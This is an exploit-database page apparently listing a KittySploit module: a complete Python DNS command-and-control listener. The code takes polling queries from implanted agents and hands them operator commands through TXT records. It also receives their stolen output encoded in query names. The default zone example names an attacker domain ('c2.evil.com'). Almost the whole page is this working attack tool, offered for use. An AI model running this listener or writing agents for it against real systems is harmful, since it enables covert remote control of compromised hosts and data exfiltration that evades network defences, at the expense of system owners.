Lucene search
+L

DNS C2 Listener

🗓️ 29 Jan 2026 18:41:10Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

DNS C2 Listener listens for DNS queries on a subdomain to provide a C2 channel.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
DNS C2 Listener - Listens on UDP for DNS queries on a subdomain and creates sessions.
Agent sends: poll.<client_id>.<domain> to get commands, result.<b64data>.<client_id>.<domain> to send output.
Server responds with TXT record: next command (base64) or "wait".
"""

from kittysploit import *
import threading
import time
import base64
import socket

from lib.c2.dns_cnc import (
    TIER_CONTROL,
    TIER_DATA,
    parse_dual_tier_qname,
    unwrap_control_command,
    wrap_control_command,
)

class Module(Listener):
    """DNS C2 Listener - receives DNS queries on a subdomain, creates sessions, responds with commands via TXT."""

    __info__ = {
        'name': 'DNS C2 Listener',
        'description': 'Listens for DNS queries on a subdomain (C2 channel). Agent polls for commands, sends results in query names. Responds with TXT.',
        'author': 'KittySploit Team',
        'version': '1.0.0',
        'handler': Handler.REVERSE,
        'session_type': SessionType.DNS,
        'references': [
            'https://en.wikipedia.org/wiki/DNS_tunneling',
        ],
        'dependencies': ['dnslib'],
    }

    lhost = OptString("0.0.0.0", "Listen address for DNS server", True)
    lport = OptPort(53, "Listen port (53 requires root/admin)", True)
    domain = OptString("c2.local", "Subdomain zone for C2 (e.g. c2.evil.com - agent uses *.domain)", True)
    dual_tier = OptBool(True, "Use ks.v1 control/data dual-tier DNS protocol", False)

    def __init__(self, framework=None):
        super().__init__(framework)
        self.running = False
        self.listener_thread = None
        self.sock = None
        self._domain_lower = ""
        self._pending_commands = {}   # session_id -> list of commands (queue)
        self._received_output = {}   # session_id -> list of output strings
        self._client_id_to_session = {}  # client_id (str) -> session_id
        self._session_to_client_id = {}  # session_id -> client_id

    def _check_dependencies(self):
        try:
            import dnslib
            return True
        except ImportError:
            print_error("dnslib is required but not installed")
            print_info("Install it with: pip install dnslib")
            return False

    def run(self, background=False):
        """Start DNS listener (UDP server)."""
        if not self._check_dependencies():
            return False
        try:
            import dnslib
            from dnslib import DNSRecord, DNSHeader, DNSQuestion, QTYPE, RR, TXT
        except ImportError:
            return False

        host = str(self.lhost).strip() if self.lhost else "0.0.0.0"
        port = int(self.lport) if self.lport else 53
        self._domain_lower = (str(self.domain).strip() or "c2.local").lower().rstrip(".")
        if not self._domain_lower.endswith("."):
            self._domain_lower += "."

        self.running = True
        self.listener_thread = threading.Thread(target=self._dns_loop, daemon=True)
        self.listener_thread.start()
        time.sleep(0.3)

        print_success(f"DNS C2 listener started on {host}:{port} (zone: {self._domain_lower})")
        if bool(getattr(self, "dual_tier", True)):
            print_info("Dual-tier mode: ks.v1.control.poll.<client_id> and ks.v1.data.result.<chunk>.<client_id>")
        else:
            print_info("Agent must query: poll.<client_id>." + self._domain_lower.rstrip(".") + " and result.<b64>.<client_id>." + self._domain_lower.rstrip("."))
        if background:
            return True
        try:
            while self.running:
                time.sleep(0.2)
        except KeyboardInterrupt:
            self.running = False
        return True

    def _dns_loop(self):
        """UDP receive loop; parse DNS, handle query, send TXT response."""
        try:
            import dnslib
            from dnslib import DNSRecord, DNSHeader, DNSQuestion, QTYPE, RR, TXT
        except ImportError:
            return
        host = str(self.lhost).strip() if self.lhost else "0.0.0.0"
        port = int(self.lport) if self.lport else 53
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            self.sock.bind((host, port))
        except OSError as e:
            print_error(f"Cannot bind {host}:{port} - {e}")
            if port == 53:
                print_info("Use port 5353 for non-root, or run as root for port 53")
            self.running = False
            return
        while self.running:
            try:
                self.sock.settimeout(1.0)
                data, addr = self.sock.recvfrom(1024)
            except socket.timeout:
                continue
            except Exception:
                if self.running:
                    continue
                break
            if not data:
                continue
            try:
                request = DNSRecord.parse(data)
                qname = str(request.q.qname).lower().rstrip(".")
                if not qname.endswith(self._domain_lower.rstrip(".")):
                    continue
                labels = qname.replace(self._domain_lower.rstrip("."), "").rstrip(".").split(".")
                labels = [l for l in labels if l]
                if len(labels) < 2:
                    continue
                qtype = request.q.qtype
                domain_base = self._domain_lower.rstrip(".")
                if bool(getattr(self, "dual_tier", True)):
                    parsed = parse_dual_tier_qname(qname, domain_base)
                    if parsed:
                        client_id = parsed.get("client_id") or ""
                        if not client_id:
                            continue
                        session_id = self._client_id_to_session.get(client_id)
                        if session_id is None:
                            session_id = self._create_dns_session(client_id, addr[0])
                            if session_id:
                                self._client_id_to_session[client_id] = session_id
                                self._session_to_client_id[session_id] = client_id
                        tier = parsed.get("tier") or TIER_CONTROL
                        action = (parsed.get("action") or "").lower()
                        if tier == TIER_CONTROL and action in ("poll", "register"):
                            cmd = self._get_next_command(session_id) if session_id else ""
                            reply_data = wrap_control_command(cmd) if cmd else "wait"
                            if len(reply_data) > 255:
                                reply_data = reply_data[:255]
                        elif tier == TIER_DATA and action == "result":
                            b64chunk = parsed.get("payload") or ""
                            if session_id and b64chunk:
                                try:
                                    s = b64chunk.replace("-", "+").replace("_", "/")
                                    pad = 4 - len(s) % 4
                                    if pad and pad != 4:
                                        s += "=" * pad
                                    chunk = base64.b64decode(s).decode("utf-8", errors="replace")
                                    self._append_output(session_id, chunk)
                                except Exception:
                                    self._append_output(session_id, b64chunk)
                            reply_data = "ok"
                        else:
                            reply_data = "wait"
                        reply = request.reply()
                        reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(reply_data), ttl=60))
                        self.sock.sendto(reply.pack(), addr)
                        continue
                # Format: type.client_id.domain or type.b64chunk.client_id.domain
                msg_type = labels[0].lower()
                if msg_type in ("poll", "register"):
                    client_id = labels[1] if len(labels) > 1 else ""
                    if not client_id:
                        continue
                    session_id = self._client_id_to_session.get(client_id)
                    if session_id is None:
                        session_id = self._create_dns_session(client_id, addr[0])
                        if session_id:
                            self._client_id_to_session[client_id] = session_id
                            self._session_to_client_id[session_id] = client_id
                    if session_id:
                        cmd = self._get_next_command(session_id)
                        reply_data = base64.b64encode(cmd.encode("utf-8", errors="replace")).decode("ascii") if cmd else "wait"
                        if len(reply_data) > 255:
                            reply_data = reply_data[:255]
                    else:
                        reply_data = "wait"
                    reply = request.reply()
                    reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT(reply_data), ttl=60))
                    self.sock.sendto(reply.pack(), addr)
                elif msg_type == "result":
                    if len(labels) < 3:
                        continue
                    b64chunk = labels[1]
                    client_id = labels[2]
                    session_id = self._client_id_to_session.get(client_id)
                    if session_id is None:
                        session_id = self._create_dns_session(client_id, addr[0])
                        if session_id:
                            self._client_id_to_session[client_id] = session_id
                            self._session_to_client_id[session_id] = client_id
                    if session_id:
                        try:
                            s = b64chunk.replace("-", "+").replace("_", "/")
                            pad = 4 - len(s) % 4
                            if pad and pad != 4:
                                s += "=" * pad
                            chunk = base64.b64decode(s).decode("utf-8", errors="replace")
                            self._append_output(session_id, chunk)
                        except Exception:
                            pass
                    reply = request.reply()
                    reply.add_answer(RR(qname, QTYPE.TXT, rdata=TXT("ok"), ttl=60))
                    self.sock.sendto(reply.pack(), addr)
            except Exception as e:
                if self.running:
                    pass
        try:
            if self.sock:
                self.sock.close()
        except Exception:
            pass
        self.sock = None

    def _create_dns_session(self, client_id: str, client_ip: str):
        """Create a new session for a DNS agent."""
        try:
            session_data = {
                'session_type': 'dns',
                'domain': self._domain_lower.rstrip("."),
                'client_id': client_id,
                'client_ip': client_ip,
                'protocol': 'dns',
                'listener_type': self.name.lower().replace(' ', '_'),
                'handler': 'reverse',
            }
            session_id = self._create_session('reverse', client_ip, 0, session_data)
            if session_id:
                self._pending_commands[session_id] = []
                self._received_output[session_id] = []
                print_success(f"New DNS agent: {client_id} ({client_ip}) -> session {session_id}")
            return session_id
        except Exception as e:
            print_error(f"Error creating DNS session: {e}")
            return None

    def _get_next_command(self, session_id: str) -> str:
        """Pop and return next pending command for session."""
        queue = self._pending_commands.get(session_id, [])
        if not queue:
            return ""
        return queue.pop(0)

    def set_pending_command(self, session_id: str, cmd: str):
        """Queue a command for the agent (called by DNS shell)."""
        if session_id not in self._pending_commands:
            self._pending_commands[session_id] = []
        self._pending_commands[session_id].append(cmd)

    def _append_output(self, session_id: str, text: str):
        """Append agent output (called when result query received)."""
        if session_id not in self._received_output:
            self._received_output[session_id] = []
        self._received_output[session_id].append(text)
        if len(self._received_output[session_id]) > 500:
            self._received_output[session_id] = self._received_output[session_id][-500:]

    def get_output(self, session_id: str, clear=False) -> str:
        """Get concatenated output for session (called by DNS shell)."""
        lines = self._received_output.get(session_id, [])
        out = "\n".join(lines)
        if clear:
            self._received_output[session_id] = []
        return out

    def get_output_lines(self, session_id: str, last_n=50) -> list:
        """Get last N output lines."""
        lines = self._received_output.get(session_id, [])
        return lines[-last_n:] if lines else []

    def shutdown(self):
        """Stop DNS listener."""
        self.running = False
        if self.sock:
            try:
                self.sock.close()
            except Exception:
                pass
            self.sock = None
        if self.listener_thread and self.listener_thread.is_alive():
            self.listener_thread.join(timeout=2)
        print_info("DNS C2 listener stopped")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8
2